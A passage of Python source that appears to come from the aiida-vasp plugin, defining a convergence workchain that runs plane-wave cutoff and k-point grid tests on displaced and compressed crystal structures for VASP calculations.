help=\"\"\"\n The displacement unit vector for the displacement test. Sets the direction\n of displacement.\n \"\"\",\n )\n spec.input(\n 'converge.displacement_distance',\n valid_type=get_data_class('core.float'),\n required=False,\n default=lambda: get_data_node('core.float', 0.2),\n help=\"\"\"\n The displacement distance (L2 norm) for the displacement test in AA. Follows\n the direction of ``displacement_vector``.\n \"\"\",\n )\n spec.input(\n 'converge.displacement_atom',\n valid_type=get_data_class('core.int'),\n required=False,\n default=lambda: get_data_node('core.int', 1),\n help=\"\"\"\n Which atom to displace? Index starts from 1 and follows the sequence for the\n sites in the Aiida ``structure`` object.\n \"\"\",\n )\n spec.input(\n 'converge.volume_change',\n valid_type=get_data_class('core.array'),\n required=False,\n default=lambda: default_array('array', np.array([1.05, 1.05, 1.05])),\n help=\"\"\"\n The volume change in direct coordinates for each lattice vector.\n \"\"\",\n )\n spec.input(\n 'converge.relax',\n valid_type=get_data_class('core.bool'),\n required=False,\n default=lambda: get_data_node('core.bool', False),\n help=\"\"\"If True, we relax for each convergence test.\"\"\",\n )\n spec.input(\n 'converge.total_energy_type',\n valid_type=get_data_class('core.str'),\n required=False,\n default=lambda: get_data_node('core.str', 'energy_extrapolated'),\n help=\"\"\"\n The energy type that is used when ``cutoff_type`` is set to `energy`.\n Consult the options available in the parser for the current version.\n \"\"\",\n )\n spec.input(\n 'converge.testing',\n valid_type=get_data_class('core.bool'),\n required=False,\n default=lambda: get_data_node('core.bool', False),\n help=\"\"\"\n If True, we assume testing to be performed (e.g. dummy calculations).\n \"\"\",\n )\n\n spec.outline(\n cls.initialize,\n if_(cls.run_conv_calcs)(\n while_(cls.run_pw_conv_calcs)(\n cls.init_pw_conv_calc,\n cls.init_next_workchain,\n cls.run_next_workchain,\n cls.results_pw_conv_calc\n ),\n cls.analyze_pw_conv,\n while_(cls.run_kpoints_conv_calcs)(\n cls.init_kpoints_conv_calc,\n cls.init_next_workchain,\n cls.run_next_workchain,\n cls.results_kpoints_conv_calc\n ),\n cls.init_disp_conv,\n while_(cls.run_pw_conv_disp_calcs)(\n cls.init_pw_conv_calc,\n cls.init_next_workchain,\n cls.run_next_workchain,\n cls.results_pw_conv_calc\n ),\n if_(cls.analyze_pw_after_disp)(\n cls.analyze_pw_conv,\n ),\n while_(cls.run_kpoints_conv_disp_calcs)(\n cls.init_kpoints_conv_calc,\n cls.init_next_workchain,\n cls.run_next_workchain,\n cls.results_kpoints_conv_calc\n ),\n cls.init_comp_conv,\n while_(cls.run_pw_conv_comp_calcs)(\n cls.init_pw_conv_calc,\n cls.init_next_workchain,\n cls.run_next_workchain,\n cls.results_pw_conv_calc\n ),\n if_(cls.analyze_pw_after_comp)(\n cls.analyze_pw_conv,\n ),\n while_(cls.run_kpoints_conv_comp_calcs)(\n cls.init_kpoints_conv_calc,\n cls.init_next_workchain,\n cls.run_next_workchain,\n cls.results_kpoints_conv_calc\n ),\n cls.analyze_conv,\n cls.store_conv,\n ),\n cls.init_converged,\n cls.init_next_workchain,\n cls.run_next_workchain,\n cls.verify_next_workchain,\n cls.results,\n cls.finalize\n ) # yapf: disable\n\n spec.expose_outputs(cls._next_workchain)\n spec.outputs.dynamic = True\n spec.output(\n 'converge.data',\n valid_type=get_data_class('core.dict'),\n required=False,\n )\n spec.output(\n 'converge.pwcutoff_recommended',\n valid_type=get_data_class('core.float'),\n required=False,\n )\n spec.output(\n 'converge.kpoints_recommended',\n valid_type=get_data_class('core.array.kpoints'),\n required=False,\n )\n spec.exit_code(\n 0,\n 'NO_ERROR',\n message='the sun is shining',\n )\n spec.exit_code(\n 500,\n 'ERROR_UNKNOWN',\n message='unknown error detected in the converge workchain',\n )\n spec.exit_code(\n 420,\n 'ERROR_NO_CALLED_WORKCHAIN',\n message='no called workchain detected',\n )\n\n def initialize(self):\n \"\"\"Initialize.\"\"\"\n self._init_context()\n self._init_inputs()\n self._init_conv()\n self._init_settings()\n\n def _init_parameters(self):\n \"\"\"Collect input to the workchain in the converge namespace and put that into the parameters.\"\"\"\n\n # At some point we will replace this with possibly input checking using the PortNamespace on\n # a dict parameter type. As such we remove the workchain input parameters as node entities. Much of\n # the following is just a workaround until that is in place in AiiDA core.\n parameters = inherit_and_merge_parameters(self.inputs)\n\n return parameters\n\n def _init_context(self):\n \"\"\"Initialize context variables that are used during the logical flow of the BaseRestartWorkChain.\"\"\"\n self._init_standard_context()\n self._init_converge_context()\n\n def _init_standard_context(self):\n \"\"\"Initialize the standard content of context.\"\"\"\n\n self.ctx.exit_code = self.exit_codes.ERROR_UNKNOWN # pylint: disable=no-member\n # self.ctx.workchain_count = 0\n self.ctx.inputs = AttributeDict()\n self.ctx.set_input_nodes = True\n\n def _init_converge_context(self):\n \"\"\"Initialize the converge part of the context.\"\"\"\n self.ctx.converge = AttributeDict()\n # values of converge.settings are not AiiDA's data types.\n self.ctx.converge.settings = AttributeDict()\n self._init_pw_context()\n self._init_kpoints_context()\n\n def _init_inputs(self):\n \"\"\"Initialize the inputs.\"\"\"\n self.ctx.inputs.parameters = self._init_parameters()\n try:\n self._verbose = self.inputs.verbose.value\n self.ctx.inputs.verbose = self.inputs.verbose\n except AttributeError:\n pass\n\n def _init_settings(self):\n \"\"\"Initialize the settings.\"\"\"\n # Make sure the parser settings at least contains 'add_bands' and the correct\n # output_params settings.\n if self.run_conv_calcs():\n dict_entry = {'add_bands': True, 'output_params': ['total_energies', 'maximum_force']}\n compress = False\n displace = False\n try:\n compress = self.inputs.converge.compress.value\n except AttributeError:\n pass\n try:\n displace = self.inputs.converge.displace.value\n except AttributeError:\n pass\n if compress or displace:\n dict_entry.update({'add_structure': True})\n if 'settings' in self.inputs:\n settings = AttributeDict(self.inputs.settings.get_dict())\n try:\n settings.parser_settings.update(dict_entry)\n except AttributeError:\n settings.parser_settings = dict_entry\n else:\n settings = AttributeDict({'parser_settings': dict_entry})\n self.ctx.inputs.settings = settings\n else:\n if 'settings' in self.inputs:\n self.ctx.inputs.settings = AttributeDict(self.inputs.settings.get_dict())\n\n def _init_pw_context(self):\n \"\"\"Initialize plane wave cutoff variables and store in context.\"\"\"\n settings = self.ctx.converge.settings\n self.ctx.running_pw = False\n # self.ctx.pw_workchain_count = 0\n self.ctx.converge.pw_data = None\n self.ctx.converge.run_pw_conv_calcs = False\n self.ctx.converge.run_pw_conv_calcs_org = False\n self.ctx.converge.pwcutoff_sampling = None\n self.ctx.converge.pw_iteration = 0\n settings.pwcutoff = None\n\n try:\n if self.inputs.converge.pwcutoff is not None:\n pwcutoff = self.inputs.converge.pwcutoff.value\n settings.pwcutoff = pwcutoff\n\n # Check inconsistent pwcutoff setting\n # In general, we prioritize workchain-specific parameters over global input ones.\n # See https://github.com/aiida-vasp/aiida-vasp/issues/560\n parameters_dict = self.inputs.parameters.get_dict()\n electronic = parameters_dict.get('electronic', None)\n if (electronic is not None) and ('pwcutoff' in electronic):\n self.report(\n \"The 'pwcutoff' supplied in the global input parameters was overridden by the 'pwcutoff' supplied to the workchain.\"\n )\n except AttributeError:\n pass\n\n # We need a copy of the original pwcutoff as we will modify it\n self.ctx.converge.settings.pwcutoff_org = copy.deepcopy(settings.pwcutoff)\n\n def _init_kpoints_context(self):\n \"\"\"Initialize the k-point grid variables and store in context.\"\"\"\n settings = self.ctx.converge.settings\n self.ctx.running_kpoints = False\n # self.ctx.kpoints_workchain_count = 0\n self.ctx.converge.k_data = None\n self.ctx.converge.run_kpoints_conv_calcs = False\n self.ctx.converge.run_kpoints_conv_calcs_org = False\n self.ctx.converge.kpoints_iteration = 0\n self.ctx.converge.k_sampling = None\n settings.kgrid = None\n # We need a special flag that lets us know that we have supplied\n # a k-point grid (e.g. then we do not have access to the grid sampling\n # etc. during user information etc.). Also, the user might want to run\n # plane wave cutoff tests with custom k-point grids. This takes\n # presence over a supplied `kgrid` setting.\n settings.supplied_kmesh = True\n try:\n self.inputs.kpoints\n except AttributeError:\n settings.supplied_kmesh = False\n try:\n settings.kgrid = np.array(self.inputs.converge.kgrid.get_array('array'))\n except AttributeError:\n pass\n # We need a copy of the original kgrid as we will modify it\n if settings.kgrid is not None:\n self.ctx.converge.settings.kgrid_org = np.array(settings.kgrid)\n else:\n self.ctx.converge.settings.kgrid_org = None\n\n def _init_conv(self):\n \"\"\"Initialize the convergence tests.\"\"\"\n\n # Fetch a temporary StructureData and Dict that we will use throughout,\n # overwrite previous inputs (they are still stored in self.inputs for later ref).\n # Since we cannot execute a calc (that seals the node on completion) we store\n # these in converge instead of input and copy them over when needed.\n if self.ctx.inputs.parameters.converge.compress or self.ctx.inputs.parameters.converge.displace:\n # Only copy if we are going to change the structure\n self.ctx.converge.structure = self.inputs.structure.clone()\n else:\n self.ctx.converge.structure = self.inputs.structure\n # Also create a dummy KpointsData in order to calculate the reciprocal\n # unit cell\n kpoints = get_data_class('core.array.kpoints')()\n kpoints.set_kpoints_mesh([1, 1, 1])\n kpoints.set_cell_from_structure(self.ctx.converge.structure)\n self.ctx.converge.kpoints = kpoints\n self._init_pw_conv()\n self._init_kpoints_conv()\n\n def init_rel_conv(self):\n \"\"\"Initialize the relative convergence tests.\"\"\"\n\n # Most of the needed parameters are already set initially by `init_conv`. Here,\n # we only reset counters and clear workchain arrays to prepare for a new batch\n # of convergence tests.\n self.ctx.converge.pw_iteration = 0\n self.ctx.converge.kpoints_iteration = 0\n\n def init_disp_conv(self):\n \"\"\"Initialize the displacement convergence tests.\"\"\"\n\n converge = self.ctx.converge\n settings = converge.settings\n if self.ctx.inputs.parameters.converge.displace:\n # Make sure we reset the plane wave and k-point tests\n if converge.run_pw_conv_calcs_org:\n converge.run_pw_conv_calcs = True\n if converge.run_kpoints_conv_calcs_org:\n converge.run_kpoints_conv_calcs = True\n self.init_rel_conv()\n # Set the new displaced structure\n converge.structure = self._displace_structure()\n # Set extra information on verbose info\n converge.settings.inform_details = ', using a displaced structure'\n # Also, make sure the data arrays from previous convergence tests are saved\n # in order to be able to calculate the relative convergence\n # criteria later.\n converge.pw_data_org = copy.deepcopy(converge.pw_data)\n converge.k_data_org = copy.deepcopy(converge.k_data)\n # Empty arrays\n converge.pw_data = []\n converge.k_data = []\n # Finally, reset k-point grid if plane wave cutoff is not supplied\n if settings.pwcutoff_org is None:\n if not settings.supplied_kmesh and settings.kgrid_org is None:\n self._set_default_kgrid()\n\n def init_comp_conv(self):\n \"\"\"Initialize the compression convergence tests.\"\"\"\n\n converge = self.ctx.converge\n settings = converge.settings\n if self.ctx.inputs.parameters.converge.compress:\n # Make sure we reset the plane wave and k-point tests\n if converge.run_pw_conv_calcs_org:\n converge.run_pw_conv_calcs = True\n if converge.run_kpoints_conv_calcs_org:\n converge.run_kpoints_conv_calcs = True\n self.init_rel_conv()\n # Set the new compressed structure\n converge.structure = self._compress_structure()\n # Set extra information on verbose info\n converge.settings.inform_details = ', using a compressed structure'\n # Also, make sure the data arrays from previous convergence tests are saved\n # in order to be able to calculate the relative convergence criterias later.\n # If we jumped the displacement tests, we have already saved the original data.\n if self.ctx.inputs.parameters.converge.displace:\n converge.pw_data_displacement = copy.deepcopy(converge.pw_data)\n converge.k_data_displacement = copy.deepcopy(converge.k_data)\n # Empty arrays\n converge.pw_data = []\n converge.k_data = []\n # Finally, reset k-point grid if plane wave cutoff is not supplied\n if settings.pwcutoff_org is None:\n if not settings.supplied_kmesh and settings.kgrid_org is None:\n self._set_default_kgrid()\n\n def _init_pw_conv(self):\n \"\"\"Initialize the plane wave convergence tests.\"\"\"\n\n converge = self.ctx.converge\n settings = converge.settings\n supplied_kmesh = settings.supplied_kmesh\n pwcutoff_org = settings.pwcutoff_org\n kgrid_org = settings.kgrid_org\n pwcutoff_start = self.ctx.inputs.parameters.converge.pwcutoff_start\n pwcutoff_step = self.ctx.inputs.parameters.converge.pwcutoff_step\n pwcutoff_samples = self.ctx.inputs.parameters.converge.pwcutoff_samples\n # Detect what kind of convergence tests that needs to be run.\n if pwcutoff_org is None:\n # No pwcutoff supplied, run plane wave convergence tests.\n converge.pw_data = []\n # Clone the input parameters if we have no pwcutoff,\n # we will inject this into the parameters as we go\n converge.parameters = self._init_parameters()\n if not supplied_kmesh and kgrid_org is None:\n self._set_default_kgrid()\n # Turn on plane wave convergence tests.\n converge.run_pw_conv_calcs = True\n converge.run_pw_conv_calcs_org = True\n # make pwcutoff test vector\n converge.pwcutoff_sampling = [pwcutoff_start + x * pwcutoff_step for x in range(pwcutoff_samples)]\n\n def _init_kpoints_conv(self):\n \"\"\"Initialize the kpoints convergence tests.\"\"\"\n\n converge = self.ctx.converge\n settings = converge.settings\n kgrid_org = settings.kgrid_org\n supplied_kmesh = settings.supplied_kmesh\n if not supplied_kmesh and kgrid_org is None:\n converge.k_data = []\n # No kpoint grid supplied, run kpoints convergence tests.\n converge.run_kpoints_conv_calcs = True\n converge.run_kpoints_conv_calcs_org = True\n\n # Make kpoint test vectors.\n # Usually one expect acceptable convergence with a\n # step size of 0.1/AA, typically:\n # 8 AA lattice vector needs roughly 8 kpoints.\n # 4 AA lattice vector needs roughly 16 kpoints etc.\n # Start convergence test with a step size of 0.5/AA,\n # round values up.\n stepping = (\n self.ctx.inputs.parameters.converge.k_coarse - self.ctx.inputs.parameters.converge.k_dense\n ) / self.ctx.inputs.parameters.converge.k_samples\n converge.k_sampling = [\n self.ctx.inputs.parameters.converge.k_coarse - x * stepping\n for x in range(self.ctx.inputs.parameters.converge.k_samples + 1)\n ]\n\n def _set_default_kgrid(self):\n \"\"\"Sets the default k-point grid for plane wave convergence tests.\"\"\"\n converge = self.ctx.converge\n rec_cell = converge.kpoints.reciprocal_cell\n k_spacing = self.ctx.inputs.parameters.converge.k_spacing\n kgrid = fetch_k_grid(rec_cell, k_spacing)\n converge.settings.kgrid = kgrid\n # Update grid.\n kpoints = get_data_class('core.array.kpoints')()\n kpoints.set_kpoints_mesh(kgrid)\n kpoints.set_cell_from_structure(converge.structure)\n converge.kpoints = kpoints\n\n def init_converged(self):\n \"\"\"Prepare to run the final calculation.\"\"\"\n # Structure should be the same as the initial.\n self.ctx.inputs.structure = self.inputs.structure\n # Same with settings (now we do not do convergence, so any updates\n # from these routines to settings can be skipped)\n try:\n self.ctx.inputs.settings = self.inputs.settings\n except AttributeError:\n pass\n # We also pass along relaxation parameters\n try:\n self.ctx.inputs.relax = self.inputs.relax\n for key, val in self.ctx.inputs.relax.items():\n self.ctx.inputs.parameters['relax'].update({key: val.value})\n except AttributeError:\n pass\n # The plane wave cutoff needs to be updated in the parameters to the set\n # value.\n self.ctx.inputs.parameters.update({'electronic': {'pwcutoff': self.ctx.converge.settings.pwcutoff}})\n # And finally, the k-point grid needs to be updated to the set value, but\n # only if a kpoint mesh was not supplied\n if not self.ctx.converge.settings.supplied_kmesh:\n kpoints = get_data_class('core.array.kpoints')()\n kpoints.set_kpoints_mesh(self.ctx.converge.settings.kgrid)\n kpoints.set_cell_from_structure(self.ctx.inputs.structure)\n self.ctx.inputs.kpoints = kpoints\n else:\n self.ctx.inputs.kpoints = self.inputs.kpoints\n\n self.ctx.running_kpoints = False\n self.ctx.running_pw = False\n if not self.ctx.inputs.parameters.converge.testing:\n self.ctx.set_input_nodes = False\n # inform user\n if self._verbose:\n if not self.ctx.converge.settings.supplied_kmesh:\n self.report(\n 'executing a calculation with an assumed converged '\n 'plane wave cutoff of {pwcutoff} eV and a {kgrid0}x{kgrid1}x{kgrid2} '\n 'k-point grid'.format(\n pwcutoff=self.ctx.converge.settings.pwcutoff,\n kgrid0=self.ctx.converge.settings.kgrid[0],\n kgrid1=self.ctx.converge.settings.kgrid[1],\n kgrid2=self.ctx.converge.settings.kgrid[2]\n )\n )\n else:\n self.report(\n 'executing a calculation with an assumed converged '\n 'plane wave cutoff of {pwcutoff} eV and a supplied k-point grid'.format(\n pwcutoff=self.ctx.converge.settings.pwcutoff\n )\n )\n\n def _set_input_nodes(self):\n \"\"\"Sets the ctx.input nodes from the previous calculations.\"\"\"\n\n # Make sure updated plane wave cutoff is set\n # This needs to be done before testing the relaxation to avoid the\n # relaxation options being overwritten\n if self.ctx.converge.settings.pwcutoff_org is None or self.ctx.inputs.parameters.converge.testing:\n self.ctx.inputs.parameters = self.ctx.converge.parameters\n\n # We need to check if relaxation is turned on, disable it during\n # the convergence tests (unless converge.relax is set to True)\n # It is reenabled when we initialize the final calculation\n if self.ctx.inputs.parameters.relax.perform and not self.ctx.inputs.parameters.converge.relax:\n self.ctx.inputs.parameters.relax.perform = False\n\n # If we want relaxation during convergence tests, it overrides\n if self.ctx.inputs.parameters.converge.relax:\n self.ctx.inputs.parameters.relax.perform = True\n\n # Then the structure\n self.ctx.inputs.structure = self.ctx.converge.structure.clone()\n\n # And then the k-points if no mesh was supplied\n if not self.ctx.converge.settings.supplied_kmesh:\n self.ctx.inputs.kpoints = self.ctx.converge.kpoints.clone()\n else:\n self.ctx.inputs.kpoints = self.inputs.kpoints\n\n def init_next_workchain(self):\n \"\"\"Initialize the next workchain calculation.\"\"\"\n\n try:\n self.ctx.inputs\n except AttributeError as no_inputs:\n raise ValueError('no input dictionary was defined in self.ctx.inputs') from no_inputs\n\n # Add exposed inputs\n self.ctx.inputs.update(self.exposed_inputs(self._next_workchain))\n\n # If we are running tests, set the system flag in parameters to contain\n # information, such that it is possible to locate different runs\n if self.ctx.inputs.parameters.converge.testing:\n # This needs to go in order to make the workchain code unspecific.\n # Waiting for the finalization of https://github.com/aiidateam/aiida-testing\n # and its implementation in this plugin.\n self.report('TESTING')\n settings = self.ctx.converge.settings\n param_dict = self.ctx.inputs.parameters\n if not self.ctx.running_kpoints and not self.ctx.running_pw:\n # Converged run, so a special case\n if settings.pwcutoff_org is None and settings.supplied_kmesh:\n location = 'test-case:test_converge_wc/pw'\n elif settings.pwcutoff_org is not None and not settings.supplied_kmesh:\n location = 'test-case:test_converge_wc/kgrid'\n else:\n location = 'test-case:test_converge_wc/both'\n else:\n if settings.pwcutoff_org is None and settings.supplied_kmesh:\n location = 'test-case:test_converge_wc/pw/' + str(int(settings.pwcutoff))\n elif settings.pwcutoff_org is not None and not settings.supplied_kmesh:\n location = 'test-case:test_converge_wc/kgrid/' + str(settings.kgrid[0]) + '_' + str(\n settings.kgrid[1]\n ) + '_' + str(settings.kgrid[2])\n else:\n location = 'test-case:test_converge_wc/both/' + str(int(settings.pwcutoff)) + '_' + str(\n settings.kgrid[0]\n ) + '_' + str(settings.kgrid[1]) + '_' + str(settings.kgrid[2])\n param_dict['incar'] = {'system': location}\n self.ctx.converge.parameters = param_dict\n\n # Set input nodes\n if self.ctx.set_input_nodes:\n self._set_input_nodes()\n\n # Make sure we do not have any floating dict (convert to Dict) in the input\n # Also, make sure we do not pass the converge parameter namespace as there are no relevant\n # code specific parameters there\n self.ctx.inputs_ready = prepare_process_inputs(\n self.ctx.inputs, namespaces=['verify', 'dynamics'], exclude_parameters=['converge']\n )\n\n def run_next_workchain(self):\n \"\"\"Run next workchain.\"\"\"\n inputs = self.ctx.inputs_ready\n running = self.submit(self._next_workchain, **inputs)\n self.report(f'launching {self._next_workchain.__name__}<{running.pk}> ')\n\n if self.ctx.running_pw:\n self.to_context(pw_workchains=append_(running))\n # self.ctx.pw_workchain_count += 1\n # self.to_context(**{'pw_workchain_%d' % self.ctx.pw_workchain_count: running})\n elif self.ctx.running_kpoints:\n self.to_context(kpoints_workchains=append_(running))\n # self.ctx.kpoints_workchain_count += 1\n # self.to_context(**{'kpoints_workchain_%d' % self.ctx.kpoints_workchain_count: running})\n else:\n self.to_context(workchains=append_(running))\n # self.ctx.workchain_count += 1\n # self.to_context(**{'workchain_%d' % self.ctx.workchain_count: running})\n\n def run_pw_conv_calcs(self):\n \"\"\"Should a new plane wave cutoff convergence calculation run?\"\"\"\n return self.ctx.converge.run_pw_conv_calcs\n\n def run_pw_conv_disp_calcs(self):\n \"\"\"Should a new plane wave cutoff displacement convergence calculation run?\"\"\"\n\n return self.ctx.converge.run_pw_conv_calcs and self.ctx.inputs.parameters.converge.displace\n\n def run_pw_conv_comp_calcs(self):\n \"\"\"Should a new plane wave cutoff compression convergence calculation run?\"\"\"\n\n return self.ctx.converge.run_pw_conv_calcs and self.ctx.inputs.parameters.converge.compress\n\n def run_kpoints_conv_calcs(self):\n \"\"\"Should a new kpoints convergence calculation run?\"\"\"\n return self.ctx.converge.run_kpoints_conv_calcs\n\n def run_kpoints_conv_disp_calcs(self):\n \"\"\"Should a new kpoints displacement convergence calculation run?\"\"\"\n\n return self.ctx.converge.run_kpoints_conv_calcs and self.ctx.inputs.parameters.converge.displace\n\n def run_kpoints_conv_comp_calcs(self):\n \"\"\"Should a new kpoints compression convergence calculation run?\"\"\"\n\n return self.ctx.converge.run_kpoints_conv_calcs and self.ctx.inputs.parameters.converge.compress\n\n def init_pw_conv_calc(self):\n \"\"\"Initialize a single plane wave convergence calculation.\"\"\"\n\n # Update the plane wave cutoff\n pwcutoff = self.ctx.converge.pwcutoff_sampling[self.ctx.converge.pw_iteration]\n self.ctx.converge.settings.pwcutoff = pwcutoff\n parameters_dict = self.ctx.converge.parameters\n parameters_dict['electronic'] = {'pwcutoff': self.ctx.converge.settings.pwcutoff}\n self.ctx.running_pw = True\n self.ctx.running_kpoints = False\n inform_details = self.ctx.converge.settings.get('inform_details')\n if inform_details is None:\n inform_details = ''\n\n # inform user\n if self._verbose:\n if self.ctx.converge.settings.supplied_kmesh:\n self.report(\n 'running plane wave convergence test on the supplied k-point '\n 'mesh for a plane wave cutoff of {pwcutoff} eV'.format(pwcutoff=pwcutoff) + inform_details\n )\n else:\n self.report(\n 'running plane wave convergence test for k-point sampling '\n 'of {kgrid0}x{kgrid1}x{kgrid2} for a plane wave cutoff of {pwcutoff} eV'.format(\n kgrid0=self.ctx.converge.settings.kgrid[0],\n kgrid1=self.ctx.converge.settings.kgrid[1],\n kgrid2=self.ctx.converge.settings.kgrid[2],\n pwcutoff=pwcutoff\n ) + inform_details\n )\n\n def results_pw_conv_calc(self):\n \"\"\"Fetch and store the relevant convergence parameters for each plane wave calculation.\"\"\"\n\n # Check if there is in fact a workchain present\n try:\n workchain = self.ctx.pw_workchains[-1]\n # workchain = self.ctx['pw_workchain_%d' % self.ctx.pw_workchain_count]\n except IndexError:\n self.report(f'There is no {self._next_workchain.__name__} in the called workchain list.')\n return self.exit_codes.ERROR_NO_CALLED_WORKCHAIN # pylint: disable=no-member\n # Check if called workchain was successful\n next_workchain_exit_status = workchain.exit_status\n next_workchain_exit_message = workchain.exit_message\n if next_workchain_exit_status:\n exit_code = compose_exit_code(next_workchain_exit_status, next_workchain_exit_message)\n self.report(\n 'The called {}<{}> returned a non-zero exit status. '\n 'The exit status {} is inherited and this single plane-wave '\n 'convergence calculation has to be considered failed. Continuing '\n 'the convergence tests.'.format(workchain.__class__.__name__, workchain.pk, exit_code)\n )\n\n # Update plane wave iteration index.\n self.ctx.converge.pw_iteration += 1\n # Check if the index has an entry, if not, do not perform further\n # calculations.\n try:\n self.ctx.converge.pwcutoff_sampling[self.ctx.converge.pw_iteration]\n except IndexError:\n self.ctx.converge.run_pw_conv_calcs = False\n\n pwcutoff = self.ctx.converge.settings.pwcutoff\n total_energy = None\n max_force = None\n # Aiida cannot do VBM, yet, so set to None for now\n max_valence_band = None\n gap = None\n success = False\n if not next_workchain_exit_status:\n success = True\n misc = workchain.outputs.misc.get_dict()\n # fetch total energy\n total_energy = misc['total_energies'][self.ctx.inputs.parameters.converge.total_energy_type]\n\n # fetch max force\n max_force = misc['maximum_force']\n\n # fetch bands and occupations\n bands = workchain.outputs.bands\n\n # fetch band\n _, gap = find_bandgap(bands)\n if gap is None:\n gap = 0.0\n\n # add stuff to the converge context\n self.ctx.converge.pw_data.append([pwcutoff, total_energy, max_force, max_valence_band, gap, success])\n\n return self.exit_codes.NO_ERROR # pylint: disable=no-member\n\n def init_kpoints_conv_calc(self):\n \"\"\"Initialize a single k-point grid convergence calculation.\"\"\"\n\n # Fetch k-point grid by using the distance between each point\n kstep = self.ctx.converge.k_sampling[self.ctx.converge.kpoints_iteration]\n rec_cell = self.ctx.converge.kpoints.reciprocal_cell\n kgrid = fetch_k_grid(rec_cell, kstep)\n # Check if the existing entry already exists from the previous run (can\n # happen for low grid densities due to roundoff)\n if kgrid == self.ctx.converge.settings.kgrid:\n # Increment all entries by one\n kgrid = [element + 1 for element in kgrid]\n self.ctx.converge.settings.kgrid = kgrid\n # Update grid.\n kpoints = get_data_class('core.array.kpoints')()\n kpoints.set_kpoints_mesh(kgrid)\n kpoints.set_cell_from_structure(self.ctx.converge.structure)\n self.ctx.converge.kpoints = kpoints\n self.ctx.running_kpoints = True\n self.ctx.running_pw = False\n inform_details = self.ctx.converge.settings.get('inform_details')\n if inform_details is None:\n inform_details = ''\n\n # inform user\n if self._verbose:\n self.report(\n 'running k-point convergence test for k-point sampling '\n 'of {}x{}x{} for a plane wave cutoff of {pwcutoff} eV'.\n format(kgrid[0], kgrid[1], kgrid[2], pwcutoff=self.ctx.converge.settings.pwcutoff) + inform_details\n )\n\n def results_kpoints_conv_calc(self):\n \"\"\"Fetch and store the relevant convergence parameters for each k-point grid calculation.\"\"\"\n\n try:\n workchain = self.ctx.kpoints_workchains[-1]\n # workchain = self.ctx['kpoints_workchain_%d' % self.ctx.kpoints_workchain_count]\n except IndexError:\n self.report(f'There is no {self._next_workchain.__name__} in the called workchain list.')\n return self.exit_codes.ERROR_NO_CALLED_WORKCHAIN # pylint: disable=no-member\n\n # Check if child workchain was successful\n next_workchain_exit_status = workchain.exit_status\n next_workchain_exit_message = workchain.exit_message\n if next_workchain_exit_status:\n exit_code = compose_exit_code(next_workchain_exit_status, next_workchain_exit_message)\n self.report(\n 'The called {}<{}> returned a non-zero exit status. '\n 'The exit status {} is inherited and this single plane-wave '\n 'convergence calculation has to be considered failed. Continuing '\n 'the convergence tests.'.format(workchain.__class__.__name__, workchain.pk, exit_code)\n )\n\n # Update kpoints iteration index\n self.ctx.converge.kpoints_iteration += 1\n # Check if the index has an entry, if not, do not perform further\n # calculations\n try:\n self.ctx.converge.k_sampling[self.ctx.converge.kpoints_iteration]\n except IndexError:\n self.ctx.converge.run_kpoints_conv_calcs = False\n\n kgrid = self.ctx.converge.settings.kgrid\n pwcutoff = self.ctx.converge.settings.pwcutoff\n total_energy = None\n max_force = None\n # Aiida cannot do VBM, yet, so set to None for now\n max_valence_band = None\n gap = None\n success = False\n if not next_workchain_exit_status:\n success = True\n misc = workchain.outputs.misc.get_dict()\n # fetch total energy\n total_energy = misc['total_energies'][self.ctx.inputs.parameters.converge.total_energy_type]\n\n # fetch max force\n max_force = misc['maximum_force']\n\n # fetch bands and occupations\n bands = workchain.outputs.bands\n # fetch band\n _, gap = find_bandgap(bands)\n if gap is None:\n gap = 0.0\n\n # add stuff to the converge context\n self.ctx.converge.k_data.append([\n kgrid[0], kgrid[1], kgrid[2], pwcutoff, total_energy, max_force, max_valence_band, gap, success\n ])\n\n return self.exit_codes.NO_ERROR # pylint: disable=no-member\n\n def analyze_pw_after_comp(self):\n \"\"\"Return True if we are running compressed convergence tests.\"\"\"\n return self.ctx.inputs.parameters.converge.compress\n\n def analyze_pw_after_disp(self):\n \"\"\"Return True if we are running displaced convergence tests.\"\"\"\n return self.ctx.inputs.parameters.converge.displace\n\n def analyze_pw_conv(self):\n \"\"\"Analyze the plane wave convergence and store it if need be.\"\"\"\n\n # Only analyze plane wave cutoff if the pwcutoff is not supplied\n if self.ctx.converge.settings.pwcutoff_org is None:\n pwcutoff = self._check_pw_converged()\n # Check if something went wrong\n if pwcutoff is None:\n self.ctx.converge.settings.pwcutoff = self.ctx.converge.pw_data[-1][0]\n self.report(\n 'We were not able to obtain a convergence of the plane wave cutoff '\n 'to the specified cutoff. This could also be caused by failures of '\n 'the calculations producing results for the convergence tests. Setting '\n 'the plane wave cutoff to the highest specified value: {pwcutoff} eV'.format(\n pwcutoff=self.ctx.converge.settings.pwcutoff\n )\n )\n else:\n self.ctx.converge.settings.pwcutoff = pwcutoff\n\n def _set_pwcutoff_and_kgrid(self, pwcutoff, kgrid):\n \"\"\"Sets the pwcutoff and kgrid (if mesh was not supplied).\"\"\"\n settings = self.ctx.converge.settings\n settings.pwcutoff = pwcutoff\n if not settings.supplied_kmesh:\n settings.kgrid = kgrid\n\n def analyze_conv(self):\n \"\"\"Analyze convergence and store its parameters.\"\"\"\n\n settings = self.ctx.converge.settings\n displace = self.ctx.inputs.parameters.converge.displace\n compress = self.ctx.inputs.parameters.converge.compress\n\n # Notify the user\n if self._verbose:\n self.report('All convergence tests are done.')\n\n if displace:\n pwcutoff_diff_displacement, kgrid_diff_displacement = self._analyze_conv_disp()\n self.ctx.converge.pwcutoff_recommended = pwcutoff_diff_displacement\n self.ctx.converge.kgrid_recommended = kgrid_diff_displacement\n self._set_pwcutoff_and_kgrid(pwcutoff_diff_displacement, kgrid_diff_displacement)\n\n if compress:\n # We have data sitting from the compression tests\n self.ctx.converge.pw_data_comp = self.ctx.converge.pw_data\n self.ctx.converge.k_data_comp = self.ctx.converge.k_data\n pwcutoff_diff_comp, kgrid_diff_comp = self._analyze_conv_comp()\n self.ctx.converge.pwcutoff_recommended = pwcutoff_diff_comp\n self.ctx.converge.kgrid_recommended = kgrid_diff_comp\n self._set_pwcutoff_and_kgrid(pwcutoff_diff_comp, kgrid_diff_comp)\n\n if displace and compress:\n pwcutoff_disp_comp, kgrid_disp_comp = self._analyze_conv_disp_comp(\n pwcutoff_diff_displacement, pwcutoff_diff_comp, kgrid_diff_displacement, kgrid_diff_comp\n )\n self.ctx.converge.pwcutoff_recommended = pwcutoff_disp_comp\n self.ctx.converge.kgrid_recommended = kgrid_disp_comp\n self._set_pwcutoff_and_kgrid(pwcutoff_disp_comp, kgrid_disp_comp)\n\n if not (displace or 